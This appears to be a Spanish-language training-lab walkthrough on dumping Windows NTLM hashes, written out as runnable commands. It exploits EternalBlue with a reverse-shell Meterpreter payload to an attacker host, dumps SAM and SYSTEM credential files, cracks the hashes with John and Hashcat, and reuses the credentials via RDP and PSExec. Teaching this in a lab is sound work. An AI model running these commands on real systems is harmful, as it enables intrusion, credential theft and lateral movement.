💾 Volcado de Hashes NTLM en Windows
Windows almacena los hashes de contraseñas en la base de datos SAM (Security Account Manager), protegida por el hive SYSTEM del registro. Con una sesión Meterpreter con privilegios de SYSTEM, es posible extraer estos hashes y craquearlos offline para obtener contraseñas en texto claro.
Técnica MITRE ATT&CK: T1003.002 - OS Credential Dumping: Security Account Manager. Táctica: TA0006 - Credential Access.
Estructura del hash NTLM
| Campo | Ejemplo | Descripción |
|---|---|---|
| Usuario | Administrator | Nombre de la cuenta |
| RID | 500 | Identificador relativo (500 = Administrador) |
| LM Hash | aad3b435b51404ee... | Hash LM (vacío en sistemas modernos) |
| NTLM Hash | 31d6cfe0d16ae931... | Hash NT craqueable con herramientas |
🔍 Fase 1 — Reconocimiento
Escaneo de puertos
nmap <IP>
nmap -sV -p 445 <IP>
💥 Fase 2 — Explotación y volcado de hashes
Obtener sesión Meterpreter con privilegios
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Volcar hashes NTLM
# Método 1: hashdump directo
hashdump
# Salida esperada:
# Administrator:500:aad3b435...:31d6cfe0...:::
# student:1000:aad3b435...:5f4dcc3b...:::
Descargar SAM y SYSTEM para análisis offline
download C:\Windows\System32\config\SAM
download C:\Windows\System32\config\SYSTEM
🔓 Fase 3 — Craqueo de hashes
Craqueo con John the Ripper
# Formatear hashes para John
echo "student:5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
# Craquear con diccionario
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Ver resultados
john --show --format=NT hashes.txt
Craqueo con Hashcat (alternativa más rápida)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 1000 = modo NTLM
🖥 Fase 4 — Reutilización de credenciales
Acceder por RDP con credenciales obtenidas
xfreerdp /u:student /p:password /v:<IP>
Obtener nueva sesión Meterpreter vía PSExec
use exploit/windows/smb/psexec
set RHOSTS <IP>
set SMBUser student
set SMBPass password
exploit
Obtener la flag
cd C:\Users\Administrator\Desktop
cat flag.txt
🧠 Conceptos clave
- SAM: Base de datos de Windows que almacena hashes de contraseñas de cuentas locales.
- SYSTEM hive: Contiene la clave de cifrado (SYSKEY) necesaria para descifrar la SAM.
- NTLM: Protocolo de autenticación de Windows. Los hashes son crakeables offline con diccionarios.
- John the Ripper vs Hashcat: John es más flexible; Hashcat aprovecha GPU para velocidad masiva.
- Pass-the-Hash: Los hashes NTLM pueden usarse directamente sin craquear (p. ej. con psexec -H).